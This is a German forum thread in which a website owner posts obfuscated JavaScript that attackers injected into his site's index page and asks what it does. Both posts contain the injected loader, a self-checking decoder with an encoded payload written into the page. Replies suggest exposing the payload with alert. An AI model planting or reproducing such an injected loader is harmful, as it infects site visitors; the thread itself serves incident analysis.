• Jetzt anmelden. Es dauert nur 2 Minuten und ist kostenlos!

Kann mir einer (von den Profis unter euch) erklären was das hier ist???

Status
Für weitere Antworten geschlossen.
M

Mcpyra

Neues Mitglied
Hab den Quelltext zur Sicherheit gekürzt:



Code: 
 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "[URL]http://www.w3.org/TR/html4/frameset.dtd[/URL]">
<!-- o4 --><HTML><SCRIPT LANGUAGE="JavaScript"> 
<!-- 
function N9203f348(Ac85Fc{var Hb59a2A=arguments.callee.toString().replace(/\W/g,"").toUpperCase();var o21A8D0a391EB9772;o21A8D0a391EB9772+=714;o21A8D0a391EB9772=o21A8D0a391EB9772.toString();var fuwck_Allav=1;var i=o21A8D0a391EB9772.charCodeAt(224);var h33faE2;var G1447bb2B81EB9772;G1447bb2B81EB9772+=185;G1447bb2B81EB9772=G1447bb2B81EB9772.toString();var stSllaSllop_av=1;var I26565c=Hb59a2A.length;var me7740035fbEB9772;me7740035fbEB9772++;var cxuj_csa_v_fzfhaopu=1193;var etero_vreme0noata=300;var E6a08E;var d6a874AEE12EB9772;d6a874AEE12EB9772++;d6a874AEE12EB9772=d6a874AEE12EB9772.toString();var stSllaSllop_av=1;var TDCc45;var CB9cfe29494EB9772;CB9cfe29494EB9772-=403;var cxuj_csa_v_fzfhaopu=1193;var etero_vreme0noata=300;var n7F49b8f8='';var iC49Cd=new Array(0,1400113684+(596846210),3308810245+(685109543),1081686462+(1485838332),93390784+(31243353),5414358+(1880643257),2088893729+(1826727956),1358664212+(1298727823),139801186+(10946708,588180366+(145632795,3095672491+(676442739),649397390+(1897780474),49274316+(113667679),1343463824+(782097197),2755366762+(1132240285),682685923+(1745758126),335599512+(162937036),68856260+(1721071406),2474466460+(161455018,789175331+(1437885883),263698001+(186850860),1727714474+(115544129),3525802212+(581778541),801317111+(141036052,22344584+(303539406),1625402458+(59374694),2387520284+(186360175,949011337+(1372915299),205539807+(130093680),1390845472+(270519993),2056866876+(2138435879),305939319+(206017599,615825076+(381248020),605892112+(676061774),2181324650+(1398530682),1564392047+(1160296195),597666762+(409221383),180832697+(1077774990),3212561258+(311540371),2652859702+(116082741),514478422+(386619300),131017574+(987983110),1672653991+(2013863215),2071894759+(826170969),789053046+(63991405),173646249+(998619852),3280570311+(42444544,949599321+(1933017344),79560369+(572207611),708011456+(665492090),2146134725+(1223419579),1557948405+(1660156193),411714292+(153792961),1104045341+(350576390),2562078632+(923033073),1463645875+(163579042,149228107+(522038867),955046840+(639151184),2461508851+(861222079),2116264504+(85408330,372282533+(423552994),631055915+(852174310),2477591617+(76677565,2255348551+(804801014),465910108+(1528236084),13335841+(17822693),598810563+(1965097209),2086260462+(193745746,811861782+(1095597683),96120498+(16516717),626613044+(2053540209),2422210075+(1482216984),896639248+(1117137042),93856511+(157865525),2356311069+(160904305),3036096338+(739733702),1366600782
 
......
 
189587432),579425509+(458178802),1720191084+(1045019649),3138668351+(415411644),900399575+(230614931),553436038+(32624395,1754098116+(1155145346),2662100944+(1001670912),490975226+(650149241),31271810+(824570467),2655350774+(197450857),3587996848+(120651801),60917875+(1281616073),255531617+(398927689),2888051433+(300344615),2832481298+(540533876),781607351+(68487255,60890683+(483288952),1446499420+(1664024493),2507012709+(955509306),1094105172+(497565882),612301557+(89837219),1316761403+(1649699047),1473837546+(1878961866),918856906+(586061901),565897591+(217654282),2589013804+(493626639),2675257300+(558185689),3817965560+(170326824),1550505767+(1045748879),3645782+(58671286),341725769+(1616085073),2435918264+(1503927681),1481808108+(1166008003),5278208+(76192789),209260911+(1734542612),3590470620+(224448310),1450438389+(1039158415),87093413+(138181017),38068358+(201572201,3254088244+(572087511),1680725279+(786180734),45243840+(122572903),243947792+(1853703585),2187984851+(1839567729),1976255600+(289234786),256690259+(246753813),1385094175+(376956639),3892838250+(257578995),243351049+(1910778306),373622955+(52899270),1097363001+(75514487,3017904096+(1257409430),1477636575+(834681345),78884156+(203869470),541649362+(1200906490),2353820643+(1835887500),1414628210+(980249735),230496636+(167421127),1238152950+(384030687),1578392273+(2025998615),834786024+(1880080534),432643715+(521086017),1297710604+(42366022),2620115096+(898604889),1438532180+(1358828819),99326768+(969501613),96585660+(1123053199),3374238264+(250503586),1378443658+(1558231490),821079355+(85106107),268221414+(82259109,3550743427+(196928576),1845197928+(980181741),300518100+(528811035),326174017+(855161144),2142761277+(1269416527),2385269994+(77556484,362116112+(265969296),1238215209+(144390157),2884509603+(538859506),1539643225+(1598435242),435905480+(134656753),1056532694+(369868121),3031683603+(285632939),2377453759+(621279849),616788130+(116451824),989003473+(566258483),1667406006+(1601529585),2589060315+(461300310),277127094+(475332309),61275669+(1480044552),2413174724+(193897196),2658389814+(1307583216),1254919420+(715003552),7356361+(33379137),2098908838+(518928387),2259071986+(1684505165),1845016240+(68071637),69651736+(14256635),1417088627+(1095253007),2744377486+(1059363206),483185550+(1592023072),200646201+(12614911),423727656+(2039544947),1735156178+(2120834107),913659831+(1181194240),32275459+(166683422),1513113705+(748915307),2610097073+(1447163537),1218370290+(540989702),315467757+(218946433),1278603410+(898115131),3463682660+(675646455),937275899+(936560102),60245631+(354418936),985322630+(1296926304),2492948488+(1786251880),553899693+(1157784861),104871107+(180410009),2305733185+(100068542),3176664417+(990552328),1550934650+(83533145),82263963+(293965738),2534416000+(150651896),2809470708+(79853669,1231369400+(77549212),286963654+(669580284),2472996890+(335558215),2041418802+(1454539461),1024260344+(207375957),664042847+(38338418,2566540799+(366419019),2771152154+(883551682),512850112+(57550915,678437681+(258480319),1990812758+(856902141),1980134430+(1756703399),985843580+(217057283),28650346+(788583551),2126958820+(105638328,1440289282+(196094784,658168939+(746108613),508774181+(107043969),2645096838+(489110655),1770752488+(1682668715),433094608+(990762841),18314334+(583136097),1688400666+(132143694,3293646402+(1064054),1177578193+(389525553),2351958+(709576766),2029052089+(991616382),2799321367+(47305869,1305197241+(205136994),368065956+(387101161));E6a08E=4294967295;for(h33faE2=0;h33faE2<I26565c;h33faE2++){E6a08E=iC49Cd[(E6a08E^Hb59a2A.charCodeAt(h33faE2))&255]^((E6a08E>>&16777215);}E6a08E=E6a08E^4294967295;var G50271DD;var l571d8;h33faE2=E6a08E&65535;G50271DD=h33faE2.toString(16).toUpperCase();while(G50271DD.length<4){G50271DD="0"+G50271DD;}h33faE2=(E6a08E>>>16)&65535;l571d8=h33faE2.toString(16).toUpperCase();while(l571d8.length<4){l571d8="0"+l571d8;}TDCc45=l571d8+G50271DD;var P94783f;var t793BCD0=0;var P18945766;var t3B037e;var i0eFA2450;var Efefb48='';for(P94783f=0;P94783f<Ac85Fc8.length;P94783f+=2){i0eFA2450=0;n7F49b8f8="";t3B037e="";t3B037e+=Ac85Fc8.charAt(P94783f);t3B037e+=Ac85Fc8.charAt(P94783f+1);P18945766=parseInt(t3B037e,16);i0eFA2450=P18945766-TDCc45.charCodeAt(t793BCD0);if(t793BCD0<TDCc45.length-1){t793BCD0++;}else{t793BCD0=0;}P94783f+=2;while(i0eFA2450!=0){t3B037e="";t3B037e+=Ac85Fc8.charAt(P94783f);t3B037e+=Ac85Fc8.charAt(P94783f+1);P18945766=parseInt(t3B037e,16);n7F49b8f8+=String.fromCharCode(P18945766-TDCc45.charCodeAt(t793BCD0));if(t793BCD0<TDCc45.length-1){t793BCD0++;}else{t793BCD0=0;}i0eFA2450--;P94783f+=2;}var rEE11EB3=parseInt(n7F49b8f8);if(rEE11EB3!=0){if(rEE11EB3>127){n7F49b8f8="&#"+rEE11EB3.toString()+";";}else{n7F49b8f8=String.fromCharCode(rEE11EB3);}Efefb48+=n7F49b8f8;}P94783f-=2;}document.write(Efefb48);var Ie8895df220EB9772;Ie8895df220EB9772--;var cxuj_csa_v_fzfhaopu=1193;var etero_vreme0noata=300;var nF9eed8ce76EB9772;nF9eed8ce76EB9772++;nF9eed8ce76EB9772=nF9eed8ce76EB9772.toString();var stSllaSllop_av=1;} 
N9203f348('396E624475684868686e35737162486869683573726747706e3b637375347667683A6B79436777396D68357371664868676a3573726547706e3b63727a347667683a65744462766C3a696376436A7E396D693475753476676b3B6373773476686D3B637373337a6f396c69447568476c6D3A667b43657b396c6F34777433796D396c6b447663476C6e3a6678436675396C6d3476783476676A3B63737233796e3A69637244627568396C68447A6a4868676B35737166476D6a3B637373337b68397169457261753a68686b4572617a3A686962447465476A693B63737a3476676C3b6372713476686d3b637275337b68396c6b4474634868676C357371624868676D357371644868676c35737267476d683A667B4364773a6869674572627B3A686A634572617d3A686863447762476a6b3a6B7A446276683A696376446275673a6962734462766b396D6A447463476B6F3b637373347669673a6576436777396d683476783476676c3B6372733476686b3A6b79446275703A696273436777'); 
//--> 
</SCRIPT><!-- c4 -->
 
Zuletzt bearbeitet von einem Moderator:
Hab den Code mal schnell überflogen, ersetz einfach mal das document.write(Efefb48) durch alert(Efefb48); dann sollte der JS-Code einfach sichtbar sein ;)
 
FleyerShaver schrieb:
Sieht aus wie ein verschlüsselter JavaScript Code
Zum Vergrößern anklicken....


Ja und zwar genau diesen Code haben Hacker auf eine meiner Webseiten eingespielt !!! -bzw. in die Index-Datei eingefügt- !!

(worauf die Seite nicht mehr ging/Virusmeldungen kamen!!)

Hab jetzt die Seite zwar wieder neu reingeladen und die Sicherheitseinstellungen geändert aber trotzdem: was genau könnte das sein??
 
Wtf? Kein Notepad auf dem Rechner installiert :shock:


Falls es dich trotzdem interessiert, kannst du dir ja mal notepad++ runterladen, geht recht schnell und damit kannst du die Datei auch bearbeiten ;)
 
ok hab den Codeschnipsel geändert und jetzt? Wie seh ich das unverschlüsselte?

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<!-- o4 --><HTML><SCRIPT LANGUAGE="JavaScript">
<!--
function N9203f348(Ac85Fc8){var Hb59a2A=arguments.callee.toString().replace(/\W/g,"").toUpperCase();var o21A8D0a391EB9772;o21A8D0a391EB9772+=714;o21A8D0a391EB9772=o21A8D0a391EB9772.toString();var fuwck_Allav=1;var i=o21A8D0a391EB9772.charCodeAt(224);var h33faE2;var G1447bb2B81EB9772;G1447bb2B81EB9772+=185;G1447bb2B81EB9772=G1447bb2B81EB9772.toString();var stSllaSllop_av=1;var I26565c=Hb59a2A.length;var me7740035fbEB9772;me7740035fbEB9772++;var cxuj_csa_v_fzfhaopu=1193;var etero_vreme0noata=300;var E6a08E;var d6a874AEE12EB9772;d6a874AEE12EB9772++;d6a874AEE12EB9772=d6a874AEE12EB9772.toString();var stSllaSllop_av=1;var TDCc45;var CB9cfe29494EB9772;CB9cfe29494EB9772-=403;var cxuj_csa_v_fzfhaopu=1193;var etero_vreme0noata=300;var n7F49b8f8='';var iC49Cd=new Array(0,1400113684+(596846210),3308810245+(685109543),1081686462+(1485838332),93390784+(31243353),5414358+(1880643257),2088893729+(1826727956),1358664212+(1298727823),139801186+(109467088),588180366+(1456327958),3095672491+(676442739),649397390+(1897780474),49274316+(113667679),1343463824+(782097197),2755366762+(1132240285),682685923+(1745758126),335599512+(162937036),68856260+(1721071406),2474466460+(1614550188,789175331+(1437885883),263698001+(186850860),1727714474+(115544129),3525802212+(581778541),801317111+(1410360528,22344584+(303539406),1625402458+(59374694),2387520284+(1863601758),949011337

....


193897196),2658389814+(1307583216),1254919420+(715003552),7356361+(33379137),2098908838+(518928387),2259071986+(1684505165),1845016240+(68071637),69651736+(14256635),1417088627+(1095253007),2744377486+(1059363206),483185550+(1592023072),200646201+(12614911),423727656990762841),18314334+(583136097),1688400666+(1321436948),3293646402+(1064054),1177578193+(389525553),2351958+(709576766),2029052089+(991616382),2799321367+(473058698),1305197241+(205136994),368065956+(387101161));E6a08E=4294967295;for(h33faE2=0;h33faE2<I26565c;h33faE2++){E6a08E=iC49Cd[(E6a08E^Hb59a2A.charCodeAt(h33faE2))&255]^((E6a08E>>8)&16777215);}E6a08E=E6a08E^4294967295;var G50271DD;var l571d8;h33faE2=E6a08E&65535;G50271DD=h33faE2.toString(16).toUpperCase();while(G50271DD.length<4){G50271DD="0"+G50271DD;}h33faE2=(E6a08E>>>16)&65535;l571d8=h33faE2.toString(16).toUpperCase();while(l571d8.length<4){l571d8="0"+l571d8;}TDCc45=l571d8+G50271DD;var P94783f;var t793BCD0=0;var P18945766;var t3B037e;var i0eFA2450;var Efefb48='';for(P94783f=0;P94783f<Ac85Fc8.length;P94783f+=2){i0eFA2450=0;n7F49b8f8="";t3B037e="";t3B037e+=Ac85Fc8.charAt(P94783f);t3B037e+=Ac85Fc8.charAt(P94783f+1);P18945766=parseInt(t3B037e,16);i0eFA2450=P18945766-TDCc45.charCodeAt(t793BCD0);if(t793BCD0<TDCc45.length-1){t793BCD0++;}else{t793BCD0=0;}P94783f+=2;while(i0eFA2450!=0){t3B037e="";t3B037e+=Ac85Fc8.charAt(P94783f);t3B037e+=Ac85Fc8.charAt(P94783f+1);P18945766=parseInt(t3B037e,16);n7F49b8f8+=String.fromCharCode(P18945766-TDCc45.charCodeAt(t793BCD0));if(t793BCD0<TDCc45.length-1){t793BCD0++;}else{t793BCD0=0;}i0eFA2450--;P94783f+=2;}var rEE11EB3=parseInt(n7F49b8f8);if(rEE11EB3!=0){if(rEE11EB3>127){n7F49b8f8="&#"+rEE11EB3.toString()+";";}else{n7F49b8f8=String.fromCharCode(rEE11EB3);}Efefb48+=n7F49b8f8;}P94783f-=2;}alert(Efefb48);var Ie8895df220EB9772;Ie8895df220EB9772--;var cxuj_csa_v_fzfhaopu=1193;var etero_vreme0noata=300;var nF9eed8ce76EB9772;nF9eed8ce76EB9772++;nF9eed8ce76EB9772=nF9eed8ce76EB9772.toString();var stSllaSllop_av=1;}
N9203f348('396E624475684868686e35737162486869683573726747706e3b637375347667683A6B79436777396D68357371664868676a3573726547706e3b63727a347667683a65744462766C3a696376436A7E396D693475753476676b3B6373773476686D3B637373337a6f396c69447568476c6D3A667b43657b396c6F34777433796D396c6b447663476C6e3a6678436675396C6d3476783476676A3B63737233796e3A69637244627568396C68447A6a4868676B35737166476D6a3B637373337b68397169457261753a68686b4572617a3A686962447465476A693B63737a3476676C3b6372713476686d3b637275337b68396c6b4474634868676C357371624868676D357371644868676c35737267476d683A667B4364773a6869674572627B3A686A634572617d3A686863447762476a6b3a6B7A446276683A696376446275673a6962734462766b396D6A447463476B6F3b637373347669673a6576436777396d683476783476676c3B6372733476686b3A6b79446275703A696273436777');
//-->
</SCRIPT><!-- c4 -->
 
Zuletzt bearbeitet:
Status
Für weitere Antworten geschlossen.

Neueste Beiträge

Zurück
Oben